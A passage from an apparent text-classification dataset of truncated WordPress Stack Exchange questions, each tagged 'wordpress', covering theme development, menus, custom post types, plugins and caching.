taxonomy called ""Issues"" so that any custom post type could be ... ",['wordpress'] "Title: Previous and Next Navigation buttons take the user to the wrong posts Body: I am currently developing a portfolio section on my website and when the single posts are viewed, there are some previous and next links to take the user to the next post. Upon reaching the first ... ",['wordpress'] "Title: Create custom markup to use in posts? Body: Is there some way - a plugin, a technique, some file to edit - to define some custom markup to be interpreted, parsed and replaced with custom, generated content when generating posts? The simplest ... ",['wordpress'] "Title: Can only import latin character texts Body: Since WP 3.5.2 I can only import latin character texts via CSV Importer. For non-latin, saved in UTF-8, I can no longer import them, they enter as null. Any ideas? Thanks. ",['wordpress'] "Title: Problem with my add_rewrite_rule Body: I have a rewrite rule that needs to allow me to add 1-3 variables to the end of a page, the variables are then accessed by a plugin using a shortcode. This is the base page: ... ",['wordpress'] "Title: How to remove permalinks links presents in each page of my site? Body: I have this WordPress static site: http://www.saranistri.com/ As you can see at the end of each page there is a link named Pemalink into a box. I want to remove this box and this link. Can I do this ... ",['wordpress'] "Title: Display custom posts archive for different tags? Body: I have the following query that I want to display all the posts for a tag. So when the user goes to the tag archive (not taxonomy!) it will show all the posts with that tag. What do I need to add to ... ",['wordpress'] "Title: how to create a front user register/login/profile & logout without interfering with wp-login.php? Body: I need to create a register and login link on my home page. Users get to take a quiz on their profile which they can update and what gets posted to a database. How can I do this without interfering ... ",['wordpress'] "Title: How to use get_template_part instead of include_once? Body: I'm including a file by include_once: include_once( trailingslashit( get_stylesheet_directory() ) . '/recaptchalib.php' ); However I get warning from theme check plugin: INFO: The theme appears to ... ",['wordpress'] "Title: Modifying navigation menu classes with a Walker Body: I did a class that extends Walker_Nav_Menu to modify the default classes of my < li >s but also to modify the default classes of my < ul >s. It seems that only the sub-menus are affected by the ... ",['wordpress'] "Title: Search results in custom template Body: I have a custom page resources-search.php template which handles search results for the search form. And in my function.php I have the following array: $YearList = ... ",['wordpress'] "Title: Do you still need to limit php and database queries even with w3 total cache? Body: I was wondering since w3 total cache is serving cached content, is it still important to limit php and database queries to improve the sites performance? Will optimizing scripts and replacing php ... ",['wordpress'] "Title: Are transients private or public? Body: Are WP transients specific to the user-session or can they be accessed from any session anywhere? Since they are written to the DB, I would imagine they are public and accessible everywhere, but is ... ",['wordpress'] "Title: Reset default roles and capabilities Body: I've been having a difficult time adding custom post type capabilities to roles (Adding capabilities to default roles) and I suspect that my muddling around may have caused some problems. I also have ... ",['wordpress'] "Title: Transfer Categories to Custom Taxonomy Body: I want to transfer my categories (there are about 80 categories) to custom taxonomy that I just created. I was looking for plugin solution but there arent any (some exists but they doesnt work at ... ",['wordpress'] "Title: gravity forms - limit date range by populated value Body: I have two date pickers (arrival date and depart date) the user selects an arrival date and then, when the user selects a depart date it must disable (or grey out) all previous dates from which the ... ",['wordpress'] "Title: jquery ui dialog problem Body: I have problem to run jquery dialog right. Here is what i do: I'm adding wp_enqueue_script('jquery-ui-dialog', array('jquery')); next jQuery(function($) { $("".commnetsRights"").dialog({ ... ",['wordpress'] "Title: Adding […] string for a custom excerpt function Body: My blog is photo-oriented and the theme has a special excerpt function that, for better or for worse, I'd like to keep using. Anyway, it displays the excerpt and then the ""More"", but it just ... ",['wordpress'] "Title: Is there a different way to grab a thumbnail image than this? Body: I am currently upgrading my WP to 3.2.1 to 3.5.2, and for one section of my posts it seems like the featured image has disappeared. However, I just checked the the wp_posts table in the database ... ",['wordpress'] "Title: Theme automatically inserting “more” tag on every post Body: I'm using the free Lensa theme and it seems like it inserts a ""more"" tag in every single post when viewing by category, and the point at which it inserts it is proportional to the length of the post. ... ",['wordpress'] "Title: How do i get the direct neighbor in a hierarchy Body: I've build a custom post type for a calendar and created a structure like this: 2012 (general parent) January-2012 1-January-2012 -2-January-2012 ... ... Februar-2012 1-February-2012 ... ",['wordpress'] "Title: Count posts that have specific taxonomy term attached Body: When upgrading our portfolio I'm looking for something that shows the number of posts in a (current) category of a post type. Example: I have a category with 'features'. Each feature has it's own ... ",['wordpress'] "Title: Images uploaded using media uploader are appearing upside down Body: A client of mine has come to me with an issue I've never seen before. Some of the images he's uploaded via the media uploader are appearing upside down or sideways. I'm assuming it's because they ... ",['wordpress'] "Title: Can someone please help me modify this sub-menu filter to always start from the 'ultimate' or 'top' parent? Body: This code comes from here. It checks for a 'sub_menu' argument in the wp_nav_menu() function, then filters the menu accordingly. However, it always starts the menu from the current page's parent (not ... ",['wordpress'] "Title: How can I show different image links for different languages with qTranslate? Body: I have a set of links, each with an image - how can I show different links depending on the language selected (using qTranslate) - the images have text on them.. At the moment I show these links ... ",['wordpress'] "Title: Theme Option is not allowing two advertising for home only and rest of site Body: My Wordpress Theme(Themforest Hottopix) comes with a ""theme options"" section that allows you to add an ad on the header 970x90 however I was given two ads that are placed on the same spot one is ... ",['wordpress'] "Title: Disable Admin account being emailed for comment notification Body: I am using the code below to send Comment notification and moderation emails to multiple email addresses for a client site. I have a custom admin panel for this particular site. In my admin panel I ... ",['wordpress'] "Title: Is it possible to use <optgroup> in <select> in WP Theme Customizer Body: I use next code to render a select option in theme customizer: $wp_customize->add_setting( 'powered_by', array( 'default' => 'wordpress', ) ); ... ",['wordpress'] "Title: When is it too late to call the action wp_enqueue_scripts? Body: I'm creating a plugin that always enqueues a script in the footer. I also have a function that if called would enqueue an additional script that depends on the other one. Here is the basic format of ... ",['wordpress'] "Title: Internet Explorer ignore my css Body: I am creating my personal blog, but Internet explorer are ** me. About 5 hours I am trying to figure out what I am doing wrong, well what is my problem ? Well, I created breadcrumb for my website, ... ",['wordpress'] "Title: i have to process witch is already listed categories but without page renewal Body: <div id=""category-song""> <h4>Song Search Engine <span><?php $select = wp_dropdown_categories('show_option_none=Select ... ",['wordpress'] "Title: Missing Title on custom post types Body: I missed the title on custom post types on new or edit page; I have added some custom fields, but Title disappeared. register_post_type( 'videos', array( 'labels' => $labels, 'public' ... ",['wordpress'] "Title: How do I get current_menu_parent class if the child is also a parent? Body: I'm using wp_nav_menu to display a 4 level menu for a site. If the active item has no children the class current_menu_parent is applied to all parent levels and words fine. If however the active menu ... ",['wordpress'] "Title: Walker for menus Body: I want to modify all of my <li>'s classes and ids, but the function wp_nav_menu() does not let me do so, so I think I need to use a walker. I am pretty new in OO, so using an object is not ... ",['wordpress'] "Title: send private message direct link buddypress profile Body: can someone provide or help me private message direct links on profiles in buddypress? Currently I am building a custom template. When I click the link/button, it will redirect me to compose a ... ",['wordpress'] "Title: meta fields for the whole wordpress site Body: Is there a simple way to store additional information related to the whole website in a meta field? For users, comments or posts, I learned how to use meta fields to store their additional related ... ",['wordpress'] "Title: Post thumbnail dependant on category Body: I have two categories (our work and news) and only one single.php If looking at a single post in the news category then I want to show the thumbnail too so have inserted: <?php if ( ... ",['wordpress'] "Title: Custom Rewrite for Profiles Body: I'm currently trying to modify my rewrites to allow for an additional URL segment e.g. http://example.com/vendors/username/ by default WP allows for additional numeric segments but everything else ... ",['wordpress'] "Title: is_search not working on search results page Body: Having an extra submenu with this code in sidebar: <?php if(is_404() || is_search()) : ?> <?php echo 'zou leeg moeten zijn'; ?> <?php else : ?> <?php if($post->post_parent ... ",['wordpress'] "Title: How to output built-in widgets with number in range as class? Body: I'd like to make my theme mobile friendly by turning the widget-containers into touchable buttons, having their contents flying out when hovering. Therefor, I will have to absolutely position the ... ",['wordpress'] "Title: Get post title of faulty link on 404 error page Body: My users can link to things that don't exist on the page. That's something I chose because it is the best option for my concept. Anyway, what I want to do is this... Let's say I clicked on a link that ... ",['wordpress'] "Title: How to fetch the data from Advanced Custom post when we search specific keyword or field name related to the post? Body: Actually i have created a custom post type and fetch the data from ""Advanced Custom Fields"" plugin after then connect to a custom search-form to search only the post data.It works good. But now i ... ",['wordpress'] "Title: calling jquery function on plugin page Body: I am trying to call the following script on a plugin admin page: <?php function add_match_attendance_scripts() { $output = '<script type=""text/javascript""> jQuery(function () { ... ",['wordpress'] "Title: jquery-ui-autocomplete is not loaded with wp_enqueue_script Body: when I load the default jquery-ui-autocomplete script from wordpress via wp_enqueue_script( 'jquery-ui-autocomplete', '', array( 'jquery-ui-widget', 'jquery-ui-position' ), '1.8.6' ); it is ... ",['wordpress'] "Title: Do not show on homepage functions.php code needed Body: I'm using a plugin called Float Left Right Advertising however I don't want to work on the homepage. I tried adding this code into the functions.php but it doesn't work: add_action( ... ",['wordpress'] "Title: Create Post tabs in single-{content-type}.php with Custom Field values Body: My requirement is exactly similar to Tabbed Post. I have Advanced Custom Fields (ACF) plugin to store data. So pulling up the requirement from the wordpress support thread: Movie Summary | ... ",['wordpress'] "Title: Creating post content from external web scraper via JSON or RPC Body: I'm looking for a way to post content from a web scraper external to our Wordpress site to post content its scraped into our site. Right now, I have the scraped content formatted into JSON. Could I ... ",['wordpress'] "Title: How to initialize PODS? Body: I downloaded the PODS 2 plugin (amazing!) - added a field to existing content type and now I would like to print it using php inside a widget. However I am not sure how to print the fields using pods ... ",['wordpress'] "Title: Create custom post order (with custom post type meta) Body: I would like to display my custom post type by specific order. In my custom post type, i've 2 meta : - DAY ( Select : 1,2,3,4,5,etc...) - MONTH ( Select : Janvier, Fevrier, Mars, Avril, etc...) ... ",['wordpress'] "Title: Change the Slug of Post Type post to baseurl/post/%postname% Body: I have been searching around but i cant anywhere find the answer to my question: How to change the post slug for all posts (and the categories etc.). Without affecting other pages/ custom post urls. ... ",['wordpress'] "Title: Implementing jQuery sliders and image galleries in WordPress theme Body: I am a newbee to WordPress and I am attempting to convert an HTML/CSS template using jQuery plugins for image galleries and sliders, into a WordPress theme. Kindly help. Also please let me know if any ... ",['wordpress'] "Title: WordPress PHP version requirements Body: PHP 5.5 has been released recently. In the same time has been announced that PHP 5.3.x branch won't be supported anymore after 5.3.27 will be released. However WordPress requires PHP version 5.2.4 ... ",['wordpress'] "Title: Using has_filter with a class based plugin to check whether the plugin is active or not Body: Usually I use this method to test whether a plugin is active (usually my own). This would be in the plugin I'm checking for: function my_plugin_setup() { // setup code here } add_action( ... ",['wordpress'] "Title: No follow on bbPress links Body: I'd like to add a forum to my website and I want to use bbPress. I've noticed one major flaw with the plugin and I was wondering if anyone could offer a solution. For SEO purposes, is it possible to ... ",['wordpress'] "Title: Get Previous/Next Post ID for Posts in Same Category Body: I want to dynamically retrieve the post thumbnail in a modal pop-up using custom prev/next navigation. I need to retrieve the next and previous Post ID based on whatever Post is currently showing. ... ",['wordpress'] "Title: WP Customizer - what types of fields is it capable of supporting? Body: I just found this reference of WP Customizer types of data input: https://gist.github.com/Abban/2968549 But I wonder if there's an option to have for instance a range slider? Something that would ... ",['wordpress'] "Title: woocommerce select payment method for each product or category Body: I want create method payment different for each product or category in woocommerce , for this i create this function for by one side , create 2 fields and save informations for each product from /// ... ",['wordpress'] "Title: Add “Select All” to custom taxonomy Body: Is it possible to add a ""Select All"" to a custom taxonomy for my custom post type? A project I'm working on requires the option to be able to select all of the taxonomy terms. While I could go through ... ",['wordpress'] "Title: APC object caching in combination Batcache/memcached page caching? Body: In the post WordPress Caching Comparisons Part 2 Matt Martz compares different caching setups, among them APC object caching together with Batcache page caching. In his post this combination seems to ... ",['wordpress'] "Title: Make only the image an anchor link using the advanced excerpt plugin? Body: I am using the advanced excerpt plugin for Wordpress http://wordpress.org/plugins/advanced-excerpt/ so I can display images and video's in my excerpts, as opposed to just text. So my code is ... ",['wordpress'] "Title: post-per-page and offset not working Body: This is my code, why cant i get post per page and offset result ?. <?php $myquery['tax_query'] = array( 'relation' => 'OR', 'posts_per_page' => 3, 'offset' => ... ",['wordpress'] "Title: Does Feedburner send notifications about WordPress pages? Body: Does Feedburner send out notices about PAGES that are created or updated in WordPress, or just POSTS? My client doesn't want emails going out about his PAGE content, but I can't find anything at ... ",['wordpress'] "Title: Include Meta Box data in search Body: I have created a custom post type named archive with its own search filter, powered by: <form class=""searchformcustom"" action=""<?php echo home_url( '/' ); ?>"" method=""get""> ... ",['wordpress'] "Title: How to automatically and randomly reorder custom post type? Body: Is there a plugin available? Or suggestions on how to achieve re-ordering automatically and randomly custom post type? ",['wordpress'] "Title: GravityFroms after_submission hook Body: http://www.gravityhelp.com/documentation/page/Gform_after_submission Using the above link I simply copied it and put it in the functions.php file of the the active theme and edited it just a little. ... ",['wordpress'] "Title: Theme Option's Save Button is not working Body: I'm currently working on making an options panel for a theme (theme-options.php) on my localhost. Every thing was going well until I tried testing the Save button. After clicking it, I got the ... ",['wordpress'] "Title: Getting wordpress admin email Body: I'm building a contactform that needs to send all queries to the admin mail adress. The php file which processes the entered data and sends the email has only contains this code: <?php ... ",['wordpress'] "Title: Single page theme Body: I am trying to create single page theme. What i have trouble with is understanding this whole wordpress query logic. There is query object and supposedly i get all published posts like this: ... ",['wordpress'] "Title: Media Library page super slow, loading up full quality images Body: On my WP site (which sells retail products), I have large images (up to 4000x4000 px) so people can zoom in. Unfortunately, when adding images to a page and using the Media Library, the images all ... ",['wordpress'] "Title: Replace text in excerpt Body: I have a separate theme for my custom WP install that will be use for mobile users, in my case I need to change an html tag in all the excerpt instances but without altering the DB, I found this ... ",['wordpress'] "Title: Advice and plugins against Malware [closed] Body: I´m starting with WordPress and would like to make sure my blog stays Malware free. I´ve seen that there are quite a few things to do to insure that. Personnally I´d like to keep it easy and still be ... ",['wordpress'] "Title: Generating wordpress menu - cant understand the config Body: I created html template based on bootstrap css and am trying to create wordpress theme from it now. Created my own menu function for it, which basically just sets default config for wp_nav_menu ... ",['wordpress'] "Title: WordPress MU fake redirect Body: There are two domains site1 and site2 (site2 is a mirror site1) At the root of site1 installed WordPress MU with one common database. Accordingly site2 refers to the root of site1. Both sites are ... ",['wordpress'] "Title: How to prevent posts from being published too close to each other? Body: I manage a blog which consists of about 25 writers. Sometimes a few of them are in the process of writing a new post at once, and they end up publishing them too close to each other. Is there a way ... ",['wordpress'] "Title: Post Title Not showing up Body: Hi i'm using this code to call post from a certain category <?php $queryObject = new Wp_Query( array( 'posts_per_page' => 3, 'post_type' => array('post'), ... ",['wordpress'] "Title: Redirect After Login Error Body: I have three login pages set up for different languages (it's how we had to set our site up for a whole host of reasons around our site). We've got wp-login.php, wp-login_cn.php (Chinese) and ... ",['wordpress'] "Title: Grouped custom taxonomy query Body: I have created 1 custom post types: image-gallery 1 custom taxonomy: media-category 2 categories (under Media Categories): categoria-uno and categoria-due I need to print the records grouped by ... ",['wordpress'] "Title: Importing Concrete5 content to WordPress Body: Are there any tools out there to convert content from a Concrete5 database to something WordPress can use? I have a client that may switch over, and would like to avoid manually copying content over ... ",['wordpress'] "Title: Rogue current menu item class in wp_nav_menu() Body: I am working on a 'from scratch' theme which has a simple wp_nav_menu call; wp_nav_menu(Array('menu_class' => 'nav', 'container' => FALSE)); On standard posts, archives and pages this ... ",['wordpress'] "Title: Get current post's child page? Body: Is it possible to find out what page a post is contained in? Im in my single.php template and im listing child pages in a sidebar using wp_list_pages, I want the page (not category) that the post is ... ",['wordpress'] "Title: Options.php loop won't show! Body: I'm creating an options panel for a theme on my localhost that's stored within the options.php file. My options panel will have two main loops. The first is to list the different sections and the ... ",['wordpress'] "Title: How to get a custom field value of a custom post? Body: What is the easiest way to get a custom field value from my custom post? I installed PODS plugin, created a new field and now I would like to get its value using PHP. Any advice greatly appreciated. ",['wordpress'] "Title: How can I make front page to display custom taxonomy page? Body: If I have this URL for my custom taxonomy term http://example.com/work_type/vehicle-transporting/ how can I show it as the main page http://example.com/ like it is available to do for the static pages ... ",['wordpress'] "Title: YARP - Nothing found Body: I try to use YARP (Yet Another Related Posts) plugin. I add this to my single.php. var_dump( related_entries() ); Structure I have several custom taxonomies (""gender"", ""store"") and use the custom ... ",['wordpress'] "Title: How to make my feed tidy Body: I looked up 'how to get the rss feed for your wordpress blog' ...and discovered I just need to add /feed to the url of my blog. So that's this: http://richardclunan.com/blog/feed/ It looks really ... ",['wordpress'] "Title: update image path with words starting uppercase to lowercase chars Body: I have to convert the image path to lowercase characters inside wp_posts table. Right now, I have inside my posts this: <img class=""alignleft"" title=""my image title"" alt=""my image alt"" ... ",['wordpress'] "Title: How can I replace my primary url globally with a parked one? Body: Ok so long story short, someone on our team accidentally got the domain we wanted booked on wordpress.com and not with a host for wordpress. ooopssss We've got a slightly inferior domain booked with ... ",['wordpress'] "Title: incorrect url for sharing blog on linkedin Body: I have a self-hosted Wordpress blog with Jetpack installed. My Wordpress URL structure is http://mydomain.com/archives/%postname%. Using the Jetpack's Publicize feature, I connected my blog to my ... ",['wordpress'] "Title: Show recent posts in a table format Body: In the index.php template I want to display posts in 3columns in a table format. How can I do this? I don't want a list format cause I have variable hight image sizes ",['wordpress'] "Title: Trying to change image funtion from enlarge image to redirect to amazon website Body: So im making an amazon affiliate website. the theme im using (ebuy) enlarges the image when you click on it. I'd rather just have the image take you strait to amazon. i went poking around in the ... ",['wordpress'] "Title: WordPress permalink slug encoded custom taxonomy Body: I use url-encoded slugs because I live in Sweden and it's nice to have URLs like /test-åäö/ It works by URL-encode the slugs before publishing. http://meyerweb.com/eric/tools/dencoder/ ... ",['wordpress'] "Title: Garbled HTML pulled for page description “caption id=attachment…” Body: Whenever someone links to my wordpress blog, whether it's on Facebook, ScoopIt, or whatever, instead of a description, it automatically pulls information from the image: How do I get this to stop ... ",['wordpress'] "Title: Post meta select input, if statement Body: I have created a meta box with a select input (drop down menu). It has a few values and I want to display different content depends on which value the user selects. I am just unsure how to display ... ",['wordpress'] "Title: How To Pass Array To get_the_category_by_ID() and Get An Array Back? Body: I am trying to pass an array of category IDs to get_category_by_ID() in order to get an array of category names back. Since I'm still trying to get this to work I'm just using var_dump() on the ... ",['wordpress'] "Title: Filter “Awesome Filterable Portfolio” Plug-In to Display a Specific Category by Default Body: I am using the ""Awesome Filterable Portfolio"" Plug-In. You are supposed to put the short code on whatever page you want the portfolio to appear: [af-portfolio] The portfolio does appear with the ... ",['wordpress'] "Title: Find proper “text domain” within theme Body: I have a client with a wordpress theme, Nevada, and we are having trouble making the built in translations work for it. The theme contains .mo files for English, German, and Slovenian, and appear to ... ",['wordpress'] "Title: Allow author view custom status in post screen list Body: I made a custom status for a custom post type, and my custom role does not view it in post type screen list but the super admin can like this : << show_in_admin_status_list at true not working ... ",['wordpress'] "Title: Filtering all posts AND sticky posts through meta_query Body: I have a filter that filters posts from the main loop depending on a user role (handled externally) The meta data is entered when adding a post/page. This is the filter - it works for filtering ... ",['wordpress'] "Title: Add News Feed to bespoke website, only to one page on whole site Body: I have built a bespoke website that is not currently managed by WordPress. For SEO purposes and to announce special offers etc, my client would like to add a News Feed to the site. To save me having ... ",['wordpress'] "Title: Get post_type by term_id Body: Is it possible to find out which post_type a term_id belongs to? I have this bit of code to try and collect all possible categories into an array, but I would like to add the post type each category ... ",['wordpress'] "Title: How To Add New Option Types To Option Tree? Body: I am using option tree in theme mode and child theme mode and I am trying to add new option types. The new option types will be based off of the post-select option type, but will only list posts from ... ",['wordpress'] "Title: Display all existing members Body: How would I (using a loop) pull in all of the existing users? I'm trying to loop through these users and then pull in meta data for each one. ",['wordpress'] "Title: set_post_thumbnail when user is not logged in Body: I'm currently using the set_post_thumbnail() function to insert a programmatically uploaded image to a post. The problem is that the function works perfectly when the user is logged in only. If the ... ",['wordpress'] "Title: WordPress widgets manager option for emulating theme layout Body: My theme has 6 widget containers. I'd like to be able to offer users a screen, similar to the existing widget manager, that presents these sidebars in a layout that mimics my theme's default layout. ... ",['wordpress'] "Title: Clickable image link sends people to wrong URL Body: On my website www.wilsonstransportation.com, on the header of our custome theme page, we have a ""Get a Quote"" image on the right hand side. When you click it, it is taking people to ... ",['wordpress'] "Title: Update references to pictures on website after moving to new URL Body: I moved my wordpress website to a new URL on the same server and managed to update most DB entries with the Velvet Blues Update URLs plugin. But the paths to my pictures, which are being used by the ... ",['wordpress'] "Title: Single post navigation Previous post link shows up but Next post link doesn't Body: I'm desperating with this odd issue related to Previous and Next post link. I have this single-name.php which is called by this condition in single.php: <?php if (in_category('mob')) { include ... ",['wordpress'] "Title: Want to increase the # of slides in FlexSlider in WooThemes Scrollider Body: I am using WooThemes Scrollider for a full screen homepage slide show. The client has chosen 14 slides to include, but the slider only lets me set 10. Is there a way to change the maximum # of ... ",['wordpress'] "Title: Customizing Primary Menu to include custom taxonomy description Body: I've a hard time implementing the custom primary menu behaviour. I've already: Created a custom post type: products that has a custom taxonomy: product_category associated with it. Activated and ... ",['wordpress'] "Title: Can't manage to make translate_user_role() work Body: I've been looking into wpse archives to solve my problem but I can't manage to do such a thing. I built this code : $args = array('fields' => 'all_with_meta'); $users = get_users($args); foreach ... ",['wordpress'] "Title: Wordpress gallery image link gives 404 when not logged in Body: I'm attempting to use the default Wordpress gallery (from the post editor 'Add Media' then 'Create Gallery'). When logged in as an admin and clicking an image in the gallery on the resulting blog ... ",['wordpress'] "Title: Site returns a 500 Internal server error Body: I have a serious problem with my WordPress theme. When I try to log in from Firefox, I will be logged in successfully but after that I try to log in with chrome or IE then I get 500 Internal server ... ",['wordpress'] "Title: Wordpress Query based on random taxonomy Body: I am banging my head to get this solved, would appreciate if any one can help The scenario is, I have a WordPress site related to books. I have a custom taxonomy named ""History Books"" sluged as ... ",['wordpress'] "Title: Plugin LDAP Authentication 2 In stallation ploblem Body: I didn't understand the 3rd step of Installation procedure of plugin LDAP Authentication 2 http://wordpress.org/plugins/ldap-authentication-2/installation/ Place in your templates Where is the ... ",['wordpress'] "Title: How to have Multiple Archives Widgets, one archive widget per category (in a different page)? Body: Please read the whole question before assuming this question is repeated. After one day of trying plugins and tutorials, I am convinced that there is no straightforward method of achieving what I am ... ",['wordpress'] "Title: Which file i must edit to define a constant of WP Super Cache? Body: This WP Super Cache plugin doesn't let my shopcart (using shopp plugin) update when someone add or remove items. There is someone say that i must define a constant define('DONOTCACHEPAGE',1); to ... ",['wordpress'] "Title: How to share category taxonomy with custom post type (The Event Calendar plugin) Body: I have a custom post type 'Events' created by The Event Calendar plugin. It has registered it's own custom taxonomy. Is there a way I can assign the regular WP post categories to some of these events ... ",['wordpress'] "Title: $wpdb is queried but results don't show Body: I am trying to show a list of custom post types on a page template. When I view the page, instead of seeing the different posts, I see the actual page repeated. For example, If I have 5 posts, the ... ",['wordpress'] "Title: 301 redirect for wordpress permarlink Body: on .httaccess, we use like this. RedirectMatch 301 ^/food/(.*)$ http//:domain.com/food-for-healthy/$1 It works good. but we have a problem with 1 old link. we used to have a multi-site and the name ... ",['wordpress'] "Title: Is it possible to add an action to the currently running action? Body: My question is very simple but I haven't found this answer yet. Here's an example: class MyClass { public function __construct(){ add_action('init', array($this, 'init')); ... ",['wordpress'] "Title: Narrow Down a Shop Page Results Based on a Product Tag in WooCommerce Body: I have a shop page that displays a product (chairs) for a retailer in multiple cities. Each city is a tag for each product. What I want to be able to do is narrow down a category page like (chairs) or ... ",['wordpress'] "Title: Link Forms on Wordpress Body: On our Wordpress site, we have a form that consists of a series of (radio button style) questions. Depending on which answer the user provides to a particular question, we'd like to show the user a ... ",['wordpress'] "Title: Loss of sharpness in jpg imported as header in twentyeleven Body: When importing a jpg into the header position (jpg created in indesign at 1000 px wide) for the twentyeleven theme, the photos are not sharp. what is causing this and how do I fix it? ",['wordpress'] "Title: Use wp_nav_menu to dynamically generate child menus Body: The goal: use wordpress's wp_nav_menu to generate a menu where child pages were dynamically added while keeping the correct submenu classes. Before: Installations Habits After: Installations ... ",['wordpress'] "Title: Infinite Scroll plug in on Ebuy theme Body: So Ebuy does not support infinite scroll, and my coding knowledge is minimal. I'm looking for some guidance as to how i can manually get in there and make infinite scroll work. Ive already got the ... ",['wordpress'] "Title: Wordpress custom archive page Body: I am trying to build up a custom archive page. However, I would like this archive page to skip the first 5 posts. I've been able to accomplish this with the offset property. However, the pagination ... ",['wordpress'] "Title: get dynamic_sidebar() value in array in wordpress Body: I have a sidebar. Till now I am calling this as dynamic_sidebar( 'home-left-widget-area' ); and this shows data in <li>. But I need data in <option> . How to store values in array so ... ",['wordpress'] "Title: Create a Network of Different websites with wordpress Body: I followed wordpress instructions of creating network of websites. I created two subdirectories; /site1 and /site2. Why doesn't WordPress create different folders for both the subdirectories in /theme ... ",['wordpress'] "Title: upload file to specific folder in plugin with custom post type Body: I'm developing a plugin that uses pdf files and a custom post type. When I upload a pdf file it should be stored in a separate folder not in upload folder to access these pdf files for further ... ",['wordpress'] "Title: Hide admin fields based on page attributes (parent, child, grandchild) Body: I need to hide some fields in the admin, i.e. the editor, if the page is a parent (top-level) but not hide it if it's a child, and show other fields if it's a grandchild page. Anyone have any idea if ... ",['wordpress'] "Title: Pagination on Custom Post Type: 404 Error Body: I've been getting a 404 error on a CPT archive page, and am not sure why. I can go to the page set for the custom post type archive, but the next page /mycustomposttype/page/2 gets a 404 error. I ... ",['wordpress'] "Title: plugin inside a wordpress theme Body: Ok so I have this theme and inside it is a plugin. When i installed and activate the theme the I can use the plugin as it appears on the left side bar on my dashboard screen but when i change theme i ... ",['wordpress'] "Title: How do I separate link levels in a custom menu walker? Body: I am trying to build a custom menu walker and I am unclear on how I would be able to build a UL for top level menu items and a separate UL for all menu items of lower levels. Essentially I am trying ... ",['wordpress'] "Title: Better solution for managing media attachments with `wp_editor()`? Body: Currently using wp_editor(); on the front-end of my website as a content submission form. All posts submitted are set as a ""Pending"", which will later be published or deleted by an administrator. The ... ",['wordpress'] "Title: Wordpress Options Page Theory Question Body: I created an options page and it is functioning perfectly, but I am not sure I understand how it functions. It's cool I got it to work but I was hoping someone could help explain why it works. Here ... ",['wordpress'] "Title: How to set _multiwidget option value via custom sidebar widget class? Body: In this post: How Can A Widget With Only One Instance Be Defined? ... @OneTrickPony says: another way might be to set the _multiwidget option to 0. Like $settings = get_option(""widget_text""); ... ",['wordpress'] "Title: Auto generate meta data value in post Body: I have a website with more than 50,000 posts. For SEO we use 'All in one SEO'. Unfortunately I have never written the META Title, META Description or META keywords for any of the posts. Now writing ... ",['wordpress'] "Title: Add new post with predefined / preset date Body: The current situation The plugin I'm currently working on is an additional post list view: A calendar, as you can see in the following screenshot. Admin calendar view with MP6 and handheld screen ... ",['wordpress'] "Title: Metabox nonce not allowing update Body: I'm having a problem correcting saving metabox data on a custom post type. I thought I fixed it by applying the advice on this post: Metabox nonce PHP notice which does get rid of the warning but ... ",['wordpress'] "Title: How to give a download link to a .csv file from the custom plugin? Body: I have made a custom plugin, which exports MYSQL table contents into a .csv file which gets saved in to wp uploads directory. Now, I am trying to give a download link for downloading directly a .csv ... ",['wordpress'] "Title: why the same code got different results when using query_posts in functions.php and index.php Body: I am using WordPress 3.5, and my blog sites have many registered users. After they log in, I want them to see just their own posts, not others. So I added this to my functions.php, but I get a blank ... ",['wordpress'] "Title: add_image_size and add_filter('image_size_names_choose', 'my_custom_image_sizes') not working with wordpress 3.5.2 Body: I'm tearing my hair trying to get additional image sizes appear in the media section when i upload new pictures. It works on older versions of wordpress but i can't get it to work on v 3.5.2 Here's ... ",['wordpress'] "Title: Woocommerce Error: Warning: call_user_func_array() Body: I am seeing this error at the bottom of all my woocommerce product pages: Warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, ... ",['wordpress'] "Title: How to include the admin bar? Body: I'm working on a plugin which needs a custom Preview page. In this page i call the neccessary wp functions(wp-load.php & wp-admin/includes/admin.php). The problem is, that the admin bar is not ... ",['wordpress'] "Title: Custom post type hierarchical loop in Homepage Body: I read this: Display posts of custom type in hierarchical order But didn't understand if and how to use the answer. This what i would like to achieve: if_user_logged_in show user's created cpost in ... ",['wordpress'] "Title: Non page link in wp_list_pages Body: I would like a navigation something like this. Home - People - About - Services - Contact Home, About, Services and Contact are all pages. People DOES NOT have a page, I would like to use this link ... ",['wordpress'] "Title: Wrapping the_content() in Schema articleBody tag? [closed] Body: I am trying to put the_content() inside <meta itemprop=""articleBody"" content=""(content here)"">. But if I just put <?php the_content() ?> in there, it doesn't work, image goes, structure ... ",['wordpress'] "Title: Correct way to perform non-cacheable DB query Body: Consider the code function getNow() { global $wpdb; $now = $wpdb->get_var(""SELECT NOW()""); $wpdb->flush(); return $now; } I am using the above method to avoid caching ... ",['wordpress'] "Title: Upload Image from Front End and Resize Body: I'm working on adding the possibility to add some custom_post_type from the front end. I can link Images to them, but apparently they are not resized. And I really need the special sizes that I have ... ",['wordpress'] "Title: How can I change the look of a post as is displayed Body: When an article is posted it comes out like this: Where the title is on top, then the picture, then the image. But what I would like to do is how technobuffalo.com has it: How is this done? is a ... ",['wordpress'] "Title: admin.php taking 14 seconds Body: This is a clean install but it has a (relatively) huge database of dummy posts/comments/etc. But even on single-post loads it still takes just as much. Narrowing further down menu.php takes 8 ... ",['wordpress'] "Title: WordPress installation does not get completed in WAMP server Body: I have installed WAMP server on Windows 8 and am trying to install WordPress on it, but while installing it, I could not complete it. It's showing me the error like ... ",['wordpress'] "Title: Assign tags records that have a keyword Body: I have a lot of records without labels, I want to assign a specific tag such records. If the name of the record found a certain word, then it is assigned a specific tag. I think it can be done through ... ",['wordpress'] "Title: How to Display Custom Meta Box only on Specific Page IDs Body: I am using Magic Fields 2 for custom meta boxes and custom fields, but this situation pertains to any meta box. I have a custom meta box that I want to display on only 3 specific page IDs. function ... ",['wordpress'] "Title: Reposition WooCommerce breadcrumb outside of wrapper content Body: I currently have this code in my functions file for the WooCommerce plugin.. function my_theme_wrapper_start() { echo the_breadcrumb(); echo '<section role=""main""><div ... ",['wordpress'] "Title: How to make Home Menu( Front Page) use index.php instead of page.php Body: I needed a ""Home"" menu item in my wordpress website, so I created a new page and named it ""Home"", added it to my main menu item and then from Reading Settings I selected the ""Home"" as Front Page. ... ",['wordpress'] "Title: Rearrange the title, the thumbnail, and the content in a theme template Body: In pages-news.php <div class=""thirteen columns""><?php if ( has_post_thumbnail() ) { the_post_thumbnail();} ?> <div class=""title-blog""> <h2><a href=""<?php ... ",['wordpress'] "Title: 